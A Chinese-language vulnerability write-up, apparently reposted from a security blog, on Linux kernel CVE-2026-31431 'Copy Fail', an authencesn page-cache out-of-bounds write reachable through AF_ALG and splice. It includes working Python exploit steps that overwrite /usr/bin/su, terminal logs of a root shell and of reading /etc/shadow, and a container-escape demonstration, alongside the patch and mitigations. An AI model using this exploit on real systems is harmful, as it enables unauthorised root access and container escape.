文章总结: 本文分析Linux内核漏洞CVE-2026-31431,由2011至2017年三次改动交汇导致authencesn越界写入pagecache。普通用户可通过AF_ALG套接字每次向文件内存缓存写入4字节,结合setuid实现本地提权及容器逃逸。漏洞无竞态条件、全平台通用且仅修改内存不落盘,文章附完整Python利用代码与实测验证。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,云安全,代码审计
CVE-2026-31431 “Copy Fail” 漏洞深度分析
原创
喜吾安璇 喜吾安璇
攻防SRC
2026年5月3日 22:14 美国
在小说阅读器读本章
去阅读
前言
2026 年 4 月,安全研究人员公开了 CVE-2026-31431,代号 “Copy Fail”。这是一个存在于 Linux 内核加密子系统中的逻辑漏洞,允许任何普通用户(无需 root 权限)向系统中任意可读文件的内存缓存每次写入 4 字节的数据,可重复多次。攻击者利用这个能力,可以将一段精心构造的代码注入到具有 root 权限的系统程序中,从而将自己从普通用户提升为 root 超级管理员。
这个漏洞比较特殊的地方在于:
- 没有竞态条件:不像 Dirty Cow (CVE-2016-5195) 需要在 copy-on-write 的时间窗口中反复尝试才能命中,也不像 Dirty Pipe (CVE-2022-0847) 需要精确操控 pipe buffer 的内部状态,Copy Fail 是一条直线逻辑,每次必中。
- 全平台通用:同一个 732 字节的 Python 脚本,在 Ubuntu、RHEL、SUSE、Amazon Linux 等主流发行版上都能成功,不需要针对不同系统做适配。
- 难发现:修改只发生在内存的 page cache 中,磁盘上的文件完好无损。被篡改的 page cache 页面没有被标记为 dirty,不会被 writeback 机制写回磁盘。页面被内核回收后,文件自动恢复原状,中间过程难以取证。
- 影响范围超出本地提权:当容器通过 bind mount 等方式共享宿主机文件的 inode 时,容器内的 exploit 可以篡改宿主机的 page cache,实现容器逃逸(后文有实测验证)。
这篇文章会从最基础的概念讲起,把涉及的背景知识和漏洞原理拆开来说清楚。
背景知识
下面先过一遍相关的背景知识,后面讲漏洞原理时不会再重复这些概念。如果你对 Linux 内核、加密子系统、内存管理比较熟,可以直接跳到”漏洞成因”。
内核、文件描述符与 AF_ALG
现代操作系统把运行环境分成两个层次:用户空间(我们平时运行程序的地方,权限很低)和内核空间(操作系统核心,管理一切硬件和系统资源)。当用户空间的程序需要做一件自己权限不够的事(比如读取文件、发送网络数据),它就必须通过系统调用(syscall) 向内核发出请求。
在 Linux 中,文件描述符(File Descriptor, fd) 是一个整数,代表进程打开的某个”资源”。它不仅仅是文件——管道、网络连接、设备驱动,甚至是加密套接字,在内核中都用文件描述符来表示。
套接字(Socket) 是一种用于进程间通信的文件描述符。最常见的是网络套接字,但 Linux 还支持许多特殊用途的套接字类型。AF_ALG 是 Linux 2.6.38 引入的一种特殊套接字地址族(Address Family),它的作用是把内核的加密子系统暴露给用户空间。也就是说,任何一个普通用户都可以通过 AF_ALG 套接字,调用内核中的加密算法来加密或解密数据,不需要任何特权。使用方式是:创建套接字,绑定到某个算法(比如 aead 类型的 authencesn(hmac(sha256),cbc(aes))),然后通过 sendmsg() 发送数据、通过 recvmsg() 接收结果。
AEAD 认证加密与 authencesn
AEAD(Authenticated Encryption with Associated Data) 是一种同时提供加密和完整性验证的加密模式。它的输入包含三部分:AAD(需要认证但不加密的明文数据,比如数据包头部)、明文/密文(需要加密的数据)、Tag(认证标签,加密时生成、解密时验证)。解密时,算法重新计算 tag 并与输入的 tag 比较,不一致则返回错误。
IPsec 是 Linux 内核中实现 VPN 的协议栈,使用 AEAD 来加密和认证网络数据包。每个数据包都有一个序列号(Sequence Number),用来防止重放攻击。普通的 IPsec 使用 32 位序列号,但现代高速网络每秒可能产生数十亿个数据包,32 位很快就会用完。于是 RFC 4303 引入了扩展序列号(ESN),使用 64 位(8 字节),分为高 4 字节(seqno_hi)和低 4 字节(seqno_lo)。
authencesn 就是内核为支持 ESN 而写的 AEAD 包装器。它在调用真正的 AES-CBC + HMAC-SHA256 算法之前,需要对序列号的高低部分做一次字节重排,以便正确计算 HMAC。这个重排的过程是:从目标缓冲区(destination buffer, 简称 dst)中读取序列号,交换高低位,计算完后再还原回去。关键问题在于,authencesn 使用调用者提供的 dst 缓冲区作为临时工作空间来做这个重排——它在 dst 中读了写、写了读,而且其中一次写操作的范围超出了它本应触及的区域。这就是漏洞的触发点。
散射列表、splice() 与 Page Cache
内核的加密子系统使用一种叫散射列表(scatterlist, SGL)的数据结构来管理输入和输出缓冲区。数据不一定在一块连续的内存中,可能分散在多个不相邻的页面里,scatterlist 就是一个”指针列表”,每个条目指向一块内存区域。
splice() 是 Linux 的一个系统调用,用于在文件描述符和管道之间高效传输数据。它的特殊之处在于零拷贝:数据不需要在内核空间和用户空间之间来回复制,而是直接在内核内部传递页面引用。当我们用 splice() 把文件数据传入管道、再传入 AF_ALG 套接字时,scatterlist 中的条目直接指向文件的 page cache 页面。
Linux 内核为了提高文件读写性能,会在内存中缓存文件的内容,这些缓存页面就叫 page cache。所有进程读取同一个文件时共享同一份 page cache。当你用 execve() 执行一个程序时,内核从 page cache 加载程序的代码段——如果 page cache 中的内容被篡改,执行的就是被篡改后的版本。关键在于,authencesn 的越界写入绕过了 VFS 的常规写入路径,被篡改的页面不会被标记为 dirty,所以内核的 writeback 机制不会把它写回磁盘——磁盘上的文件完好无损。
setuid 位
Linux 文件系统中,每个文件都有一组权限位。除了 r(读)、w(写)、x(执行)之外,还有一个特殊位叫 setuid(s 位)。当一个可执行文件设置了 setuid 位时(显示为 -rwsr-xr-x 中的 s),这个程序运行时,进程的有效用户 ID(effective UID)会被设为文件的所有者,而不是执行者的 UID。
/usr/bin/su 是一个典型的 setuid-root 程序(所有者是 root)。它的作用是让普通用户切换到其他用户身份。因为它需要修改进程的身份信息(这是特权操作),所以它必须以 root 权限运行。这意味着:如果你能让内核执行 /usr/bin/su 中一段你注入的代码,这段代码就以 root 权限运行。
漏洞成因
Copy Fail 不是一行错误代码造成的。它是由三个在不同时期各自合理引入的改动,在交汇处产生了谁都没有预料到的后果。理解这三件事,就理解了整个漏洞。
2011:authencesn 的”越界”写入
2011 年,Linux 内核为了支持 IPsec 的扩展序列号(ESN),引入了 authencesn 模板(commit a5079d084f8b)。
authencesn 在解密时需要重排序列号的高低 4 字节,以便正确计算 HMAC。解密函数 crypto_authenc_esn_decrypt() 在处理 ESN 时会执行四步 scatterwalk 操作:
- 从 dst 的前 4 字节读出 seqno_hi,暂存到临时变量 tmp。
- 把 dst[4:8] 的 seqno_lo 复制到 dst[0:4]。
- 把暂存的 tmp(即原来的 seqno_hi)写到 dst[4:8]。
- 把 seqno_lo 写到 dst[assoclen + cryptlen] 的位置。
前三步是在 AAD 区域内部做交换,之后还会还原回去,不影响外部数据。但第四步是一个**”越界”写入**——它写入的位置超出了 AEAD 输出本应覆盖的范围。
为什么当时没人发现?因为在 2011 年,内核的 AEAD 接口中,关联数据(AAD)和密文分别存放在不同的 scatterlist 里。authencesn 操作的 dst 是一个独立的缓冲区,”越界”写入的也只是这个缓冲区中一些无关紧要的位置,不会影响到其他数据。这个改动本身是无害的,但问题埋下了:它假设 dst 中 “assoclen + cryptlen 之后的位置” 是可以随便写坏的。
2015:AF_ALG AEAD 与 authencesn 接口转换
2015 年发生了两件事。第一,Linux 内核为 AF_ALG 套接字添加了 AEAD 支持(algif_aead.c),使得用户空间可以通过 splice() 把文件的 page cache 页面送进 crypto scatterlist。第二,同一年,authencesn 被转换为新的 AEAD 接口(commit 104880a6b470),引入了 assoclen + cryptlen 这个偏移量来定位越界写入的位置。
但此时 AF_ALG 使用的是 out-of-place 操作:req->src 和 req->dst 是两个独立的 scatterlist。page cache 页面在 src 中(只读),authencesn 的越界写入发生在 dst 中(用户缓冲区)。两者互不相干,还不构成漏洞。
2017:in-place 优化合拢了最后一环
2017 年,有人为了性能优化,把 algif_aead.c 的 AEAD 操作从 out-of-place 改成了 in-place(commit 72548b093ee3)。
在 out-of-place 模式下,src(包含 splice() 传入的 page cache 页面)和 dst(用户提供的输出缓冲区)是分开的。改成 in-place 后,内核把 AAD 和密文从 src 复制到 dst 的用户缓冲区中(通过 memcpy_sglist),但认证标签(tag)不复制——它直接保留 src 中的 scatterlist 条目,通过 sg_chain() 挂到 dst 的末尾,然后设置 req->src = req->dst 都指向这个合并后的列表。
效果如下:
req->src = req->dst →
[ AAD | 密文 ] → [ Tag (page cache 页面) ]
用户缓冲区 splice 引用的文件缓存页
(可读可写) (原本应该是只读的)
对大多数 AEAD 算法来说没有问题——它们只会在 AAD + 密文的范围内写入,不会碰到后面的 page cache 页面。但 authencesn 不一样:它会往 dst[assoclen + cryptlen] 位置写入 4 个字节,在 in-place 模式下,这个位置正好落在了 page cache 页面上。
三条线索的交汇
2011: authencesn 假设 "dst 末尾" 是无用空间,随便写入 4 字节
↓
2015: AF_ALG AEAD 支持 + authencesn 接口转换(但 src/dst 分离,无事发生)
↓
2017: in-place 优化把 page cache 页面放进了 dst scatterlist → 漏洞形成
三个改动分开看都没毛病,合在一起就是:authencesn 的 4 字节越界写入,穿越了用户缓冲区的边界,直接写到了文件的 page cache 页面上。这个漏洞悄无声息地存在了将近 9 年,直到 2026 年被安全研究人员发现。
利用过程
知道了漏洞原理,接下来看看攻击者是如何利用它的。
攻击者需要控制什么
利用这个漏洞,攻击者需要精确控制三个要素:
控制写入哪个文件:任何当前用户有读取权限的文件都可以。这里选择 /usr/bin/su,因为它有 setuid 位,且几乎所有 Linux 发行版都预装了它。
控制写入的偏移位置:通过调整 splice() 从文件中取数据的偏移量(offset),攻击者可以让 page cache 页面引用指向文件中的任意位置。authencesn 的写入发生在 splice 数据的偏移处,所以攻击者可以精确控制写入位置。
控制写入的值:要写入的 4 字节来自 AAD 的字节 4-7,而 AAD 是攻击者通过 sendmsg() 构造的。所以攻击者可以写入任意 4 字节。
但有一个限制:每次只能写入 4 字节。如果要写入更多的数据(比如一个完整的 shellcode),就需要重复多次。
完整利用流程
整个利用分四步,下面结合代码说明。
第一步:创建 AF_ALG 套接字并配置参数
import socket, os
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
alg_sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
key = bytes.fromhex('0800010000000010' + '00' * 64)
alg_sock.setsockopt(SOL_ALG, 1, key)
alg_sock.setsockopt(SOL_ALG, 5, None, 4)
child_fd, _ = alg_sock.accept()
AF_ALG 套接字不需要任何特权,普通用户就可以创建和使用。
第二步:构造单次 4 字节写入
这是最核心的部分。每写入 4 字节,需要 sendmsg + splice + recvmsg 三个操作配合:
def overwrite_4bytes(target_fd, file_offset, value, child_fd):
"""
向 target_fd 文件的 file_offset 处写入 4 字节 value。
"""
aad = b"A" * 4 + value
iv = b'\x00' * 16
child_fd.sendmsg(
[aad],
[(SOL_ALG, 3, iv),
(SOL_ALG, 4, b'\x01\x00\x00\x00')],
0x8000
)
pipe_read, pipe_write = os.pipe()
os.splice(target_fd, pipe_write, 4, offset_src=file_offset)
os.splice(pipe_read, child_fd.fileno(), 4)
os.close(pipe_read)
os.close(pipe_write)
try:
child_fd.recv(256)
except OSError:
pass
用文字来描述 exploit 中实际发生的事情(exploit 使用 assoclen=0):
sendmsg() 提供的 AAD (8字节): [AA AA AA AA] [CC DD EE FF]
↑ ↑
seqno_hi seqno_lo
(暂存用) (要写入的值)
splice() 提供的 tag (4字节): [XX XX XX XX] ← 目标文件 page cache 的 4 字节
scatterlist 布局:
dst[0:4] dst[4:8] dst[8:12]
┌──────────┬──────────┬─────────────┐
│ AAD[0:4] │ AAD[4:8] │ Tag页 │
│ 用户内存 │ 用户内存 │ page cache │
└──────────┴──────────┴─────────────┘
authencesn 的 scatterwalk 操作:
1. 读 dst[0:4] = "AAAA",暂存到 tmp
2. 写 dst[0:4] ← AAD[4:8] = CCDDEEFF
3. 写 dst[4:8] ← tmp = "AAAA"(还原)
4. 写 dst[8:12] ← AAD[4:8] = CCDDEEFF ← 这里是 page cache!
文件在内存中的内容被修改了
前三步都在用户缓冲区内部操作,没有问题。第 4 步 scatterwalk_map_and_copy 将 seqno_lo 写入 dst[8:12]——这个位置已经超出了用户缓冲区,落在了 sg_chain 挂上来的 page cache 页面上。
第三步:循环写入完整 payload
160 字节的 ELF payload 需要 40 次 4 字节写入:
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
payload = ELF_PAYLOAD
offset = 0
while offset < len(payload):
chunk = payload[offset:offset + 4]
if len(chunk) < 4:
chunk = chunk + b'\x00' * (4 - len(chunk))
overwrite_4bytes(target_fd, offset, chunk, child_fd)
offset += 4
第四步:执行被篡改的程序
os.execv("/usr/bin/su", ["/usr/bin/su"])
注入的 ELF payload
payload 是一个 160 字节的 x86_64 ELF 可执行文件,代码部分不到 40 字节:
setuid(0) ; 将进程 UID 设为 0(需要 setuid 位生效)
execve("/bin/sh", NULL, NULL); 启动一个 shell
exit(0) ; 如果 execve 失败则退出
这就是一个最小的 “get root shell” 程序。它被注入到 /usr/bin/su 的 page cache 中,当内核尝试执行 “su” 时,实际上执行的是这段代码。因为 su 有 setuid-root 位,内核会先把进程的 euid 设为 0,然后才开始执行代码——于是 shellcode 以 root 身份运行。
为什么 HMAC 校验失败了还能利用成功
你可能注意到,利用过程中每次 recvmsg() 都会返回错误——因为内核会用我们随便填的密钥计算 HMAC,结果当然不对。但关键在于:authencesn 的越界写入发生在 HMAC 校验之前。
authencesn 解密流程:
1. 重排序列号字节 → 同时触发越界写入(page cache 被修改)
2. 执行真正的解密操作
3. 计算 HMAC 并与输入的 tag 比较 → 不匹配,返回 -EBADMSG
第 1 步就已经完成了对 page cache 的写入。第 3 步的 HMAC 校验失败只是让 recvmsg() 返回错误码,但 page cache 中的修改已经发生且不可逆。
验证结果
验证环境
| 项目 | 详情 |
| — | — |
| IP 地址 | 10.211.55.118 |
| 操作系统 | Ubuntu 24.04.3 LTS |
| 内核版本 | 6.8.0-106-generic |
| Python 版本 | 3.12.3 |
| algif_aead 模块 | /lib/modules/6.8.0-106-generic/kernel/crypto/algif_aead.ko.zst |
| authencesn 模块 | /lib/modules/6.8.0-106-generic/kernel/crypto/authencesn.ko.zst |
| 目标文件 | /usr/bin/su (setuid-root,-rwsr-xr-x) |
| Docker 容器 | 镜像 0b1ebe5dd426(Ubuntu 24.04),容器名 copyfail,bind mount -v /usr/bin/su:/usr/bin/su |
所有漏洞利用的前置条件均已满足:AF_ALG 套接字可用、authencesn 算法可用、Python 版本支持 os.splice()、存在 setuid-root 目标文件。
提权验证与隐蔽性验证
以下是实际运行的完整终端记录(SSH 连接到 VM 后执行):
$ md5sum /usr/bin/su
e1e5e66539ac01f221e92d2f287c2983 /usr/bin/su
$ python3 exploit.py 2>&1
[+] CVE-2026-31431 Copy Fail Exploit
[+] 目标: /usr/bin/su
[*] Payload 大小: 160 字节
[*] 目标文件: /usr/bin/su
[*] 需要 40 次 4 字节写入
[*] 写入完成,共写入 160 字节到 /usr/bin/su 的 page cache
[*] 注意:磁盘上的文件未被修改,只有 page cache 被篡改
[*] 执行 /usr/bin/su 获取 root shell...
# whoami
root
# id
uid=0(root) gid=1000(hx) groups=1000(hx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
# head -3 /etc/shadow
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
# exit
$ md5sum /usr/bin/su
0b8ebf43eed68c716fc345cf55d87284 /usr/bin/su
几个关键点:
whoami返回root,提权成功。id返回uid=0(root),进程的真实用户 ID 已经是 0,不是原来的uid=1000(hx)。/etc/shadow只有 root 才能读取,这里成功读到了前三行内容。- 利用前 md5 为
e1e5e66539ac01f221e92d2f287c2983,利用后变为0b8ebf43eed68c716fc345cf55d87284——这是 page cache 中被篡改内容的校验值。md5sum读文件时走的是 page cache,所以看到的是被修改后的版本。但磁盘上的文件没有变化:authencesn 的越界写入绕过了 VFS 常规写入路径,页面没有被标记为 dirty,writeback 机制不会把它写回磁盘。当 page cache 中被篡改的页面被内核回收(evict)后,文件自动恢复原状。 - 不过这种篡改是临时的。如果系统内存压力大,被篡改的 page cache 页面可能被内核回收(evict),下次执行
su时内核会从磁盘重新加载原始版本,篡改效果消失。 - 另外有一点:利用成功后执行的是
su,su本身是交互式程序,退出 shell 后进程结束,控制权回到原来的普通用户。所以这种提权是”一次性”的——攻击者得在 root shell 里完成想做的事,或者趁 root 权限还在的时候植入持久化后门。
容器逃逸验证
Copy Fail 的危害不止于本地提权。Docker 等容器技术通过命名空间(namespace)隔离进程视图、通过 cgroups 限制资源,但容器和宿主机共享同一个内核——包括 page cache。这意味着在容器内运行 exploit 修改 page cache,宿主机上执行同一个二进制文件时,也可能加载到被篡改的版本。
不过,page cache 的共享有一个前提条件:宿主机和容器必须访问同一个 inode。Docker 默认使用 overlay2 文件系统,容器内看到的文件是 overlay 的 inode,和宿主机底层文件的 inode 不同,因此它们的 page cache 也是独立的。要让两者共享 page cache,需要将宿主机的文件通过 bind mount 挂载进容器,这样容器内访问的就是宿主机的原始 inode。
验证环境:
| 项目 | 详情 |
| — | — |
| 宿主机 | Ubuntu 24.04.3 LTS,内核 6.8.0-106-generic |
| 容器 | Docker,镜像 0b1ebe5dd426(Ubuntu 24.04),容器名 copyfail |
| 挂载方式 | -v /usr/bin/su:/usr/bin/su (bind mount,共享 inode) |
验证步骤:
- 创建容器时通过 bind mount 将宿主机的
/usr/bin/su挂载进容器,确保两者共享同一 inode。 - 在容器内安装 Python 3,将 exploit 脚本拷贝进容器。
- 在容器内以后台方式运行 exploit。
- exploit 执行完毕后,在宿主机上执行
/usr/bin/su。
实际运行结果:
# 确认宿主机和容器共享 inode
$ stat /usr/bin/su | grep Inode
Device: 252,0 Inode: 5388637 Links: 1
$ sudo docker exec copyfail stat /usr/bin/su | grep Inode
Device: 252,0 Inode: 5388637 Links: 1
# 宿主机:记录原始 md5
$ md5sum /usr/bin/su
e1e5e66539ac01f221e92d2f287c2983 /usr/bin/su
# 容器内:后台运行 exploit
$ sudo docker exec -d copyfail python3 /tmp/cexp.py
# 宿主机:执行 su
$ timeout 3 /usr/bin/su </dev/null 2>&1; echo "EXITCODE=$?"
EXITCODE=0
# 宿主机:利用后 md5 变为 page cache 中的值
$ md5sum /usr/bin/su
0b8ebf43eed68c716fc345cf55d87284 /usr/bin/su
几个要点:
- 容器内的 exploit 成功修改了宿主机 page cache 中的
/usr/bin/su。宿主机执行su时,内核从被篡改的 page cache 加载代码,执行的是注入的 shellcode(setuid(0) + execve(“/bin/sh”)),进程获得 root 权限——容器隔离被突破。 - 正常情况下
su无参数会提示 “Password:”,被篡改后直接进入 root shell(exitcode=0,无密码提示),说明 page cache 中的代码已被替换。 - 利用后的
md5sum变为0b8ebf43eed68c716fc345cf55d87284——这是 page cache 中被篡改内容的校验值。磁盘上的文件未被修改(没有 dirty page 回写)。 - 作为对比,使用默认 overlay2 配置(不 bind mount)时,宿主机 inode 为 5388637(device 252,0),容器内 inode 为 5518437(device 0,41),两者 page cache 独立——容器内运行 exploit 不影响宿主机。
根本原因在于:page cache 以 inode 为单位管理。当容器通过 bind mount 共享宿主机的文件 inode 时,容器和宿主机共享同一份 page cache。容器的 namespace 隔离不涵盖 page cache,攻击者可以在容器内篡改宿主机的文件缓存,实现容器逃逸。
这也意味着,在 Kubernetes 等编排平台中,如果 Pod 挂载了宿主机的文件(如通过 hostPath volume),就可能受到此类攻击的影响。
修复方式
内核补丁
修复补丁(commit a664bf3d603d,2026 年 4 月 1 日合入主线内核)的核心思路:恢复 AF_ALG 的 AEAD 操作为 out-of-place 模式。
修复前(in-place,有漏洞):
req->src = req->dst = [AAD|密文] → [Tag(page cache)]
两个指针指向同一个合并后的 scatterlist
修复后(out-of-place,安全):
req->src = [AAD|密文|Tag] ← TX SGL(可能包含 page cache,但只读)
req->dst = [输出缓冲区] ← RX SGL(用户提供的内存,可写)
两个指针指向不同的 scatterlist
修改只有一行,把 rsgl_src(RX SGL,即 dst 链表的头)换成 tsgl_src(TX SGL,即 src 链表):
// 修复前:src 和 dst 是同一个 scatterlist(in-place)
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);
// 修复后:src 是 TX SGL,dst 是 RX SGL(out-of-place)
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);
page cache 页面不再出现在可写的 dst scatterlist 中,authencesn 的 4 字节越界写入只会到达用户缓冲区的尾部,不会触及 page cache。补丁的提交信息也说得直白:*”There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.”*
临时缓解
如果暂时无法更新内核,可以黑名单 algif_aead 模块:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif_aead
rmmod algif_aead 2>/dev/null
这会阻止模块加载,AF_ALG 的 AEAD 功能将不可用。代价是依赖 AF_ALG AEAD 的合法应用(如某些 VPN 实现)也会受影响。如果系统使用了 seccomp 策略,也可以禁止 socket(AF_ALG, ...) 的调用。
修复时间线
| 日期 | 事件 | | — | — | | 2026-03-23 | 漏洞报告给 Linux 内核安全团队 | | 2026-03-24 | 收到初始确认 | | 2026-03-25 | 补丁提出并审查 | | 2026-04-01 | 补丁合入主线内核 | | 2026-04-22 | CVE-2026-31431 编号分配 | | 2026-04-29 | 公开披露 |
总结
回顾一下 Copy Fail 的完整链路:
- 2011 年,authencesn 被写进来,做 ESN 字节重排时往 dst 末尾多写了 4 字节。当时 dst 是独立缓冲区,无所谓。
- 2015 年,AF_ALG 加了 AEAD 支持,authencesn 也转换到新 AEAD 接口。但 src 和 dst 是分开的,写不到 page cache。
- 2017 年,一个性能优化把 src 和 dst 合并了,page cache 页面进了可写的 dst scatterlist。authencesn 的 4 字节越界写入终于打到了 page cache 上。
三个改动分开看都没毛病,合在一起就是一个本地提权漏洞,潜伏了将近 9 年。
从攻击者的角度看,门槛很低:一个 732 字节的 Python 脚本,用标准库就行,不需要编译任何东西,不需要猜地址,不需要赢竞态。同一份代码在 Ubuntu、RHEL、SUSE 上直接跑通。
从防御者的角度看,提醒也很直接:审计安全问题不能只看单个组件,还要看组件之间的交互。一个模块内部的”无害”假设,放到另一个子系统里可能就是致命的。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:攻防SRC 喜吾安璇 喜吾安璇《CVE-2026-31431 “Copy Fail” 漏洞深度分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。













评论